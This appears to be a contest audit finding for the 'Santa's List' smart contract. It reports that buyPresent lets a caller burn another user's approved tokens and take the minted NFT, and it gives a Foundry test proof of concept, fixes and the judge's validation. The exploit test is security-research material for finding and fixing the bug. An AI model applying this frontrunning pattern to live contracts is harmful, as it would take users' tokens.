First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Free NFT from `buyProduct` frontrunning after an Approval

alexbabits

Summary

If an innocent user has called approve for Santa to spend their tokens so they can then buy an NFT, a malicious actor can immediately call buyProduct passing in the innocent user, which will burn the innocent user's tokens, but mint the NFT to the malicious actor. This is because the msg.sender in buyProduct is the malicious actor, which gets forwarded to _mintAndIncrement, minting the NFT to the msg.sender which is the malicious actor.

PoC

Add this test to the test suite.

address cindyLouWho = makeAddr("cindyLouWho");
address theGrinch = makeAddr("theGrinch");
​
function test_Frontrunning_buyProduct() public {
vm.startPrank(santa);
santasList.checkList(cindyLouWho, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(cindyLouWho, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
​
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
​
vm.startPrank(cindyLouWho);
santasList.collectPresent();
santaToken.approve(address(santasList), 1e18);
vm.stopPrank();
​
vm.startPrank(theGrinch);
santasList.buyPresent(cindyLouWho);
vm.stopPrank();
​
assertEq(santaToken.balanceOf(cindyLouWho), 0);
assertEq(santasList.balanceOf(theGrinch), 1);
assertLt(santasList.balanceOf(cindyLouWho), 2);
}

Impact

Users loss of funds (santaTokens) and the malicious actor gets the NFT instead of them.

Tools Used

Manual Review

Recommendations

You could check that the msg.sender is the presentReceiver but that defeats the purpose of buying a present on behalf of someone else. To keep in the spirit of the buyPresent function, rather than relying on msg.sender, pass in presentReceiver and forward this to the mint functionality.

function buyPresent(address presentReceiver) external {
i_santaToken.burn(presentReceiver);
_safeMint(presentReceiver, s_tokenCounter++);
}

However, this doesn't fix all aspects of griefing. You may want to have a whitelist for buyers. For example, if Alice calls approve but then changes her mind and doesn't want to burn her tokens for an NFT, a malicious actor can still call buyProduct which will burn her tokens and mint her an NFT, even if she had changed her mind because the approval was already set.

By having a mapping whitelist of approved buyers for a specific address like Alice, this prevents unwanted forceful purchases after approval. We can add a check that the caller of buyProduct is whitelisted, and then create two functions to give Alice the ability to set and revoke approval of buyers for her.

mapping(address => address buyer) private _approvedBuyers;
​
function buyPresent(address presentReceiver) external {
require(_approvedBuyers[presentReceiver] == msg.sender, "You are not whitelisted to buy for presentReceiver");
i_santaToken.burn(presentReceiver);
_safeMint(presentReceiver, s_tokenCounter++);
}
​
function setApprovedBuyer(address buyer) external {
_approvedBuyers[msg.sender] = buyer;
}
​
function revokeApprovedBuyer() external {
delete _approvedBuyers[msg.sender];
}
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

buyPresent should use msg.sender

Current implementation allows a malicious actor to burn someone else's tokens as the burn function doesn't actually check for approvals.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.